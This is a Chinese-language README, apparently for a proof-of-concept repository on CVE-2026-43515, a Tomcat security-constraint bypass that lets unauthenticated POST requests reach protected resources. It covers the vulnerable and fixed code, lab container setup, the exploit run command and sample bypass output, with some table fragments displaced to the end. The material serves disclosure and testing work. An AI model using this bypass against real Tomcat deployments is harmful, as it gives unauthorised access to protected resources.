可利用性判定: 确认可利用。针对受分割的
<web-resource-collection>配置保护的资源的 POST 请求会完全绕过身份验证。所需web.xml配置在标准部署中不常见——详见分析。
CVE-2026-43515 是 Apache Tomcat 安全约束评估逻辑中的一个漏洞。当一个 <security-constraint> 定义了多个 <web-resource-collection> 块,这些块共享相同的 URL 扩展名模式(例如 *.html),但每个块声明了不同的 HTTP 方法时,Tomcat 仅对第一个匹配集合中声明的 HTTP 方法强制执行约束。所有后续集合会被静默忽略。
管理员的意图:
<security-constraint>
<web-resource-collection>
<url-pattern>*.html</url-pattern>
<http-method>GET</http-method> <!-- collection[0] -->
</web-resource-collection>
<web-resource-collection>
<url-pattern>*.html</url-pattern>
<http-method>POST</http-method> <!-- collection[1] — 被静默丢弃 -->
</web-resource-collection>
<auth-constraint>
<role-name>admin</role-name>
</auth-constraint>
</security-constraint>
修复前 Tomcat 实际强制执行的情况:
GET *.html → 401 — 已应用约束 ✓POST *.html → 200 — 约束被静默丢弃 ✗| 受影响范围 | 修复版本 |
|---|---|
| 7.0.0 – 7.0.109 | 7.0.110 |
| 8.5.0 – 8.5.100 | 8.5.101 |
| 9.0.0.M1 – 9.0.117 | 9.0.118 |
| 10.1.0.M1 – 10.1.54 |
该漏洞位于 org.apache.catalina.realm.RealmBase 中的 findSecurityConstraints(Request, Context) 方法。matched 标志和 pos 索引被声明在逐集合循环的外部:
// RealmBase.java — 存在漏洞版本
boolean matched = false;
int pos = -1;
for (int j = 0; j < collection.length; j++) {
// 模式匹配将 matched 设为 true,pos 设为 j
// 在第一个匹配的集合上 ...
}
if (matched) {
if (collection[pos].findMethod(method)) { // pos 被固定在 0
results.add(constraints[i]);
}
}
一旦 collection[0] 匹配了扩展名模式 *.html,pos 就被固定在 0。因此 findMethod("POST") 调用针对 collection[0](仅声明了 GET)执行,并返回 false。POST 请求的约束未被添加到 results,AuthenticatorBase 因此判定该请求不受任何约束。
修复(提交 276087d)将 matched 移入循环内部,并用 collection[j] 替换 collection[pos],以便每个集合被独立评估:
// RealmBase.java — 已修复版本
for (int j = 0; j < collection.length; j++) {
boolean matched = false; // ← 移入循环内部
// 模式匹配 ...
if (matched) {
found = true;
if (collection[j].findMethod(method)) { // ← 使用 j,而非 pos
if (results == null) {
results = new ArrayList<>();
}
results.add(constraints[i]);
}
}
}
该绕过已确认并可以复现。Tomcat 的详细日志使机制清晰可见:
// GET — 约束被正确应用
AuthenticatorBase.invoke Calling authenticate()
AuthenticatorBase.invoke Failed authenticate() test → 401
// POST — 约束被静默丢弃
AuthenticatorBase.invoke Not subject to any constraint → 200
该漏洞仅在特定的 web.xml 模式下触发:一个单一的 <security-constraint>,其中包含多个 <web-resource-collection> 块,这些块共享相同的扩展名模式但声明了不同的 HTTP 方法。
这种配置在 Servlet 规范中是有效的,但在实践中并不常见。大多数部署要么:
<http-method>(保护所有方法),要么<security-constraint> 块使用分割集合模式对扩展名模式进行细粒度按方法访问控制的部署受到影响。
cve-2026-43515-poc/
├── Dockerfile # Tomcat 11.0.0-M1(受影响版本)
├── tomcat-users.xml # 一个有效用户:validuser:s3cret! / 角色:admin
├── web.xml # 触发配置:分割的 web-resource-collection
├── logging.properties # FINE 级别日志以观察约束评估过程
└── exploit/
├── exploit.go # PoC — Go 语言
| 工具 | 版本 | 说明 |
|---|---|---|
| Podman | ≥ 4.0 | Docker 同样可用 |
| Go | ≥ 1.22 | 用于本地运行利用程序 |
无外部 Go 依赖。
podman build -t tomcat-cve-2026-43515 .
podman run -d --name tomcat-vuln \
-p 8080:8080 \
-v ./logging.properties:/usr/local/tomcat/conf/logging.properties:Z \
tomcat-cve-2026-43515
等待几秒钟,然后验证:
curl -si http://localhost:8080/protected/secret.html | head -1
# 预期:HTTP/1.1 401
cd exploit
go run exploit.go \
-target http://localhost:8080 \
-path /protected/secret.html \
-username validuser \
-password s3cret!
可用标志:
podman stop tomcat-vuln && podman rm tomcat-vuln
═══════════════════════════════════════════════════
CVE-2026-43515 — Apache Tomcat Constraint Bypass
═══════════════════════════════════════════════════
Target : http://localhost:8080/protected/secret.html
───────────────────────────────────────────────────
Probe 1 — GET without credentials
Expected: 401 (constraint applied to collection[0])
[1] GET (no credentials) → HTTP 401 ← ✓ 约束已按预期强制执行
Probe 2 — POST without credentials ← 利用探测
Expected on VULNERABLE Tomcat: 200 (constraint NOT enforced)
[2] POST (no credentials) → HTTP 200 ← ✗ 绕过已确认 — POST 时约束未被强制执行
Probe 3 — GET with valid credentials (sanity check)
Expected: 200 (authenticated access granted)
[3] GET (with credentials) → HTTP 200 ← ✓ 已授予已验证访问
───────────────────────────────────────────────────
VERDICT: VULNERABLE
| 资源 | 链接 |
|---|---|
| 修复提交 — 11.0.x | apache/tomcat@276087d |
| 完整分析 — 博客文章 | return-zero.dev/posts/cve-2026-43515 |
此仓库仅用于教育目的和本地可利用性分析。所有测试均针对自托管的容器环境进行。请勿将此漏洞利用程序(PoC)用于您不拥有或未获得明确书面授权测试的系统。
| 10.1.55 |
| 11.0.0.M1 – 11.0.21 | 11.0.22 |
| 标志 | 默认值 | 描述 |
|---|
-target | http://localhost:8080 | Tomcat 基础 URL |
-path | /protected/secret.html | 受保护资源的路径 |
-username | validuser | 用于 sanity check 的有效用户名 |
-password | s3cret! | 用于 sanity check 的密码 |